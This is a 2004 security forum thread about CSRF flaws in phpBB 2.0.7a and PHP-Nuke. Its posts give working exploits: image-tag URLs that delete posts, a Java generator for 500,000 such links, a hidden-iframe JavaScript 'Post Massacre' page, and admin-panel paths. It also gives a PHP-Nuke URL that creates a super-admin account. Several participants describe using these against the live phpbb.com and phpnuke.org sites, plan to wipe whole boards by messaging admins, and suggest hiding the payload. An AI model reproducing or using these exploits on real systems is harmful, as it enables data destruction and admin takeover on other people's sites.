hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

JeiAr
Since the phpBB team do not seem to think the issues I found as outlined here are serious issues.

http://www.gulftech.org/03202004.php

I have decided to release some proof of concept exploit examples. The ones of you who know me are probably familiar with the fact GulfTech keeps exploit code and the like private in almost all cases and only shares it with known security researchers, but I feel this is the only way to make misinformed people believers. It's unfortunate, but I will limit the examples to deleting posts and not performing admin actions as my purpose is to not have anyone do any real harm to someones forum.

http://www.gulftech.org/vuln/phpBBpoc/

There has also been a thread started about this issue on the CA Security forum.

http://www.cyberarmy.net/forum/security/messages/203396.html

If anyone wants to give thier opinion we would love to hear it as long as it is appropriate and not a flame or something unnecessary. We only want civilized discussion about this issue and a proposed fix smile.gif

Best Regards,

JeiAr
GulfTech Security Research
Niekos
QUOTE (JeiAr @ Mar 23 2004, 07:39 PM)
Since the phpBB team do not seem to think the issues I found as outlined here are serious issues.

jeiAr
GulfTech Security Research

Why are they so stupid? You cant take these guys serious. Thx for al the info man. You are doing a great job.
aapje
wow, they are really stupid, i tried it and it works fine, i guess you can also trick to give a certain user admin rights.... or delete a whole forum...
JeiAr
Thanks smile.gif To know I am helping someone makes it all worth while. biggrin.gif

I don't think they are stupid, as they have always handled things good before. I am hoping it is just a misunderstanding. But then they resort to this?!?

QUOTE
I should add that I did not give permission for the original reporter to disclose my email conversations with him ... I could have persued that if I'd wished. However I decided it may help explain the situation and thus let it go.

http://www.phpbb.com/phpBB/viewtopic.php?p=1018880#1018880

What the HELL! All of a sudden I am a bad guy for

1) Giving them advanced warning and waiting for a reply before going public.

2) Even honoring the guys wishes as seen here

QUOTE
> I don't mean this to sound like we don't want to do anything, it's just that there is no great need to in 2.0. So please,
> should you chose to release anything detailing "security problems" please be sure to emphasise the underlying issue as to
> why they are of very little concern.

---------------

I will release details of this email and try and show things from all points of view. I just want to help people, not
frighten them or make them think phpBB is insecure. After all we use phpBB for the GulfTech forums wink.gif

---------------

http://www.gulftech.org/vuln/phpBBEmail.txt

3) Fixing all of the issues except the Session ID auth issues myself when I work two jobs and rarely have any real time for myself.

mad.gif sad.gif
JeiAr
QUOTE (aapje @ Mar 23 2004, 08:20 PM)
wow, they are really stupid, i tried it and it works fine, i guess you can also trick to give a certain user admin rights.... or delete a whole forum...

I encourage people to explore the possibilities of these vulns, but I know for a fact that anything called via modcp.php doesnt work.
aapje
pff they should thank you for the information...

CODE

[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=1&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=2&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=3&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=4&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=5&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=6&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=7&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=8&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=9&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=10&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=11&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=12&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=13&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=14&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=15&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=16&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=17&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=18&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=19&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=20&confirm=yes[/img]
[img]http://www.site.com/phpBB2/posting.php?mode=delete&p=21&confirm=yes[/img]


and so on... tongue.gif and they can say goodbye to all the posts if they didnt make a recent backup....

guess you can use topics to delete to havent tried that
JeiAr
Yeah man, you can delete topics by deleting all the posts in that topic. It is a little tedious but works just as well as the topic delete function in the modcp. Here is an example.

Before
http://gulftech.org/vuln/phpBBpoc/3.jpg

After
http://gulftech.org/vuln/phpBBpoc/4.jpg
aapje
they fixed this on their own board?

also, i tried the same for topic, t=..., but then i still get the confirmation so guess that wont work
JeiAr
And you can be slick about it to. Make a post with a certain number of posts to be deleted, make an img to delete the post with the malicious requests in it, then make an image that logs out the user/mod/admin

It's a wham bam thank you maam kinda post tongue.gif
JeiAr
And this issue is still present on the phpbb.com forums too. I just deleted one of my posts by simply visiting a url
aapje
maybe they learn if you... wink.gif

make a big list of topics from 1 - 1000 smile.gif in an image

i'll try to make something to automate it
JeiAr
QUOTE (aapje @ Mar 23 2004, 08:48 PM)
maybe they learn if you... wink.gif

make a big list of topics from 1 - 1000 smile.gif in an image

i'll try to make something to automate it

lol That would definately wake me up biggrin.gif
migo
what stupids they are!!!!!
yo man offered them help in their buggy scripts and the'y are aragons to listen

for me i tested something else in a board and guess what
i can promote a normal user account to and Admin account!!!!!!!!!!

same ideas as jeiar did!!!
u can do anything with this serious risk

good work Jeiar, i'll go learn in deep PHP scripting,
cause php scripts is full of hunts because of developers errors and no sanitizations to properly filter people inputs

nice work m8 once again

Best Regards
migo
aapje
QUOTE (JeiAr @ Mar 24 2004, 09:50 AM)
QUOTE (aapje @ Mar 23 2004, 08:48 PM)
maybe they learn if you... wink.gif

make a big list of topics from 1 - 1000 smile.gif in an image

i'll try to make something to automate it

lol That would definately wake me up biggrin.gif

well, i made a javascript, just replace the 500000 with how many links you want... smile.gif

I doesnt take long, make a file in the same dir called list.txt, compile & run the code and you got 500000 links in the textfile... paste it in an post and voila wink.gif

CODE

import java.io.*;

public class Main {

public static void main(String[] args) {

 try {
  PrintWriter out = new PrintWriter(
   new FileWriter("list.txt"));

  for (int i = 0; i < 500000; i++) {
   out.println("[img]http://www.phpbb.com/phpBB/posting.php?mode=delete&p=" + i + "&confirm=yes[/img]");

  }

  out.close();

 } catch(IOException ie) {
   System.out.println("IOException");
 }
}
}


should i post it on phpbb forums.. or should we give them a chance smile.gif

offtopice: wth is going on here....

1800 seconds wait before posting because of floodcontrol.... isnt that a little to much?? 30 minutes :S:S wtf
JeiAr
Holy Hell man, You are psychic. I just came here to post a little something I wrote too. lol

http://gulftech.org/vuln/phpbbPostMassacre.html

Here Is The Source Code. Quick And Dirty JS wink.gif

CODE

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>phpBB 2.0.7a && Earlier Post Massacre</title>




<script language=JavaScript>

var s = 100;                           /* The P Num To Start With */
var e = 250;                           /* The P Num To End With   */
var u = "http://localhost/forum";      /* The Path To phpBB Forum */


/*
  This Function Just Increments The Post Count, But If An Attacker
  Wanted To They Could Write An Array To Delete All Of Your Stickys
  Announcments Or Any Other Posts They Didn't Like. And To Ensure
  Effectiveness All An Attacker Would Have To Do Is Send The Site
  Admin A PM With A Link To A Version Of This Script That Loads The
  Function Immeadiately And They Would Be Whit Out Of Luck // JeiAr
*/

function DoTheDamnThang()
{
while (s < e) {
document.write ('<iframe width="0" height="0" src="' + u + '/posting.php?mode=delete&p=' + s + '&confirm=yes"></iframe>');
s++;
}
}
</script>

</head> <body> <table width="100%" border="0" cellspacing="1" cellpadding="1"> <tr> <td width="15%" height="341" align="left" valign="top"><p><a href="http://www.governmentsecurity.org/forum/"><img src="../new_images/forums2.png" alt="hacking exploits security forum" width="189" height="102" border="0" /></a><br /> <a href="http://www.governmentsecurity.org/forum/"><img src="../new_images/hacking.png" alt="hacking" width="190" height="84" border="0" /></a><br/> <a href="../compliance.php"><img src="../new_images/compliance_articles.png" alt="compliance articles" width="190" height="84" border="0" /></a><br/> <a href="http://governmentsecurity.bitpipe.com/data/detail?id=1206033259_610&type=RES&psrc=TPP"><img src="../new_images/main_ad_1.png" alt="security white papers" width="190" height="84" border="0" /></a><br/> <a href="../directory.php"><img src="../new_images/main_ad_2.png" alt="information security consultant" width="190" height="84" border="0" /></a></p> </td> <td width="85%" align="left" valign="top">
<center>
<p align="center">
This Is A Proof Of Concept Script To Show The Dangers Of The Vulnerabilities
Discovered Recently By GulfTech Security Research Which The phpBB Team Initially
Wrote Off As Not Being A Risk. This Script Could Also Be Loaded With Admin
Commands To Execute, Hex Encoded SQL Queries To Run Via The Vulns In The ACP, And
More. Do Not Mess With This Script If You Do Not Know What You Are Doing.
</p>
<form method="post">
<input type="submit" value=" Do The Damn Thang! " onclick="DoTheDamnThang();">
</form>
</center>
</body>
</html>

aapje
hehe, should i post on phpbb with 1000000 img links? smile.gif
JeiAr
I do not think I am ever giving phpBB advanced warning with holes EVER again. And I wouldn't blame other people not too also.

QUOTE ("JeiAr")
I have seen numerous times Paul and other developers getting upset because people make vulns public with out contacting them. They are 100% valid in this and I agree with them, But when I come here and see stuff like this.

QUOTE

Draegonis
Moderator Team Member



Joined: 22 Apr 2002
Posts: 4124
Location: Timbucktwo
Posted: Wed Mar 24, 2004 10:59 am    Post subject:   

--------------------------------------------------------------------------------

I think the developers will implement a solution that they see fit, when they see fit. It's getting slightly tiring seeing 3rd parties thinking they know more about phpBB than those who wrote it.
Locked, for now. 


It makes me, and I am sure other security researchers feel like we are wasting our time. The vulnerabilities I and other researchers have found are of nothing but help the the phpBB community as a whole. Not only do I find some substantial holes, but I take time out of MY free time to try and help this "community" and get grief for it.

Why call it the "phpBB community" if someone not a developer having a say in it is a bad thing? I will bet money that in the future we will probably see more holes in phpBB being released un-announced. I seriously doubt I will ever try and help the phpBB community out again. This is unbelievable.



Just look at the shit going down on hxxp://www.phpbb.com/phpBB/viewforum.php?f=18
JeiAr
You can also delete styles, smilies, word censors, ranks and probably more in the ACP via the malicious image method

/admin/admin_ranks.php?mode=delete&id=IDGOESHERE
/admin/admin_styles.php?mode=delete&style_id=IDGOESHERE
/admin/admin_words.php?mode=delete&id=IDGOESHERE
/admin/admin_smilies.php?mode=delete&id=IDGOESHERE


And also you can use the SQL Injections in the admin panel too via an image tag.

Just hex encode the SQL to be executed, place it in am image tag and it's done. You can also have post method stuff executed but that will require getting an admin to visit a page you set up to submit the request when he visits it. It works but takes a little more social engineering wink.gif
aapje
haha, i'll post a topic which deletes 1100000 (that is all) the posts... smile.gif

But i have to wait till there is an admin otherwise the mods visit it first and then only the posts they can mod will be removed...

/edit: whee i put 1100000 links in the field, when i press submit ie crashes... smile.gif

hehe im pm-ing the admin right now, but copieng 1000000 lines is not fast and ie and mozilla cannot take it smile.gif

btw, about phpnuke.... it uses converted phpBB version... this should also work on that, and there maybe you can do even more in the phpnuke menu wink.gif
JeiAr
QUOTE (aapje @ Mar 24 2004, 08:43 PM)
But i have to wait till there is an admin otherwise the mods visit it first and then only the posts they can mod will be removed...

PM the admin. You can put these malicious "images" in PM's That way ONLY a logged in admin will view it and it will still execute the same wink.gif
JeiAr
I think they are working on patches as we speak, and GulfTech has already released patches, so if anyone wants to have any "fun" with this issue they better do it quick tongue.gif
aapje
//you read my modified post about nuke?

It seems i cant use more then 300000 lines, else ie crashes, so i am now pm-ing to delete the last 300000 messages smile.gif, but it takes some time as it is like 25 mb...

tonight i'll look at phpnuke wink.gif

/i'm gone for tonight, it is still sending the pm so i'll look later at it tonight smile.gif

bye
JeiAr
Ya know, I was thinking about something. Lets say a board has 10,000 posts, and five admins. If you sent each admin 2,000 image links in a private message each you could wipe out the entire board. In alot of cases they would be so confused by seeing 2,000 broken images in thier PM that they would probably watch it long enough for most and maybe all 2,000 delete requests to be executed.
JeiAr
Well, I think i got most things secured on the GulfTech Forums with the exception of the ACP issues which is gonna require a good bit of work as there is NO session checking implemented there so it seems, and just transferring the modcp session auth over doesn't seem to wok sooooo


Anyway, here ya go smile.gif

http://www.gulftech.org/vuln/phpBBadminFix.rar
http://www.gulftech.org/vuln/phpBBpostDeletion.rar
http://www.gulftech.org/vuln/phpBBlogoutFix.rar
migo
hey you can do the same in phpnuke

the exploit that jeiar discover can make you run any link in context of the one who views it(the admin wink.gif)

for example u can post this in a phpbb forum which included in phpnuke modules

===>[_img]http://www.hack-me.com/admin php?op=AddAuthor&add_aid=attacker&add_name=God&add_pwd=coolpass&add_email=kala hot ee&add_radminsuper=1[/img]

remove the underscore from the img tag wink.gif

the code will be executed automatically when the admin open the message

do it in the pm between u and the admin
and it will create a super a dmin account in php nuke

easy as biscuit lol

the most thing exciting about what we do here that when we write our scripts we will take care of those buggsssssss

Best Regards
migo

p.s :take a look at this post in bug traq for more info

http://www.securityfocus.com/archive/1/358326

JeiAr
Interesting. Gives new meaning to the expresion a picture is worth a thousand words wink.gif

Also, i seem to have fixed all of the phpBB vulns on the gulftech forums. I updated the files in the .rar files so you can try them if you like wink.gif
aapje
haha, i thought it woulld work on nuke too, thanks, i'll try to add me as a author on phpnuke.org wink.gif i'll give feedback
JeiAr
Well, phpBB 2.0.8 was released today, but my exploit code still works as they only changed [img] tags to be a valid extension rolleyes.gif
aapje
i saw on nukecops.com that they already fixed it, but they only fix so that you cant get god mode, so you can still delete, activate modules etc etc etc. They just edited the Author& aid line so you have to confirm
Niekos
Hehe I tested with this. Damn this exploit works good. It's a very nice one. And it's a bit of fun tongue.gif.
JeiAr
the iframe width=0 and height=0 seems to make it faster and less suspicious. You could also make that exploit more dangerous by putting it hidden in a legitimate looking web page or my hiding it in a frameset etc wink.gif But yeah, the phpBBpostMassacre still works even on phpBB 2.0.8 tongue.gif
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.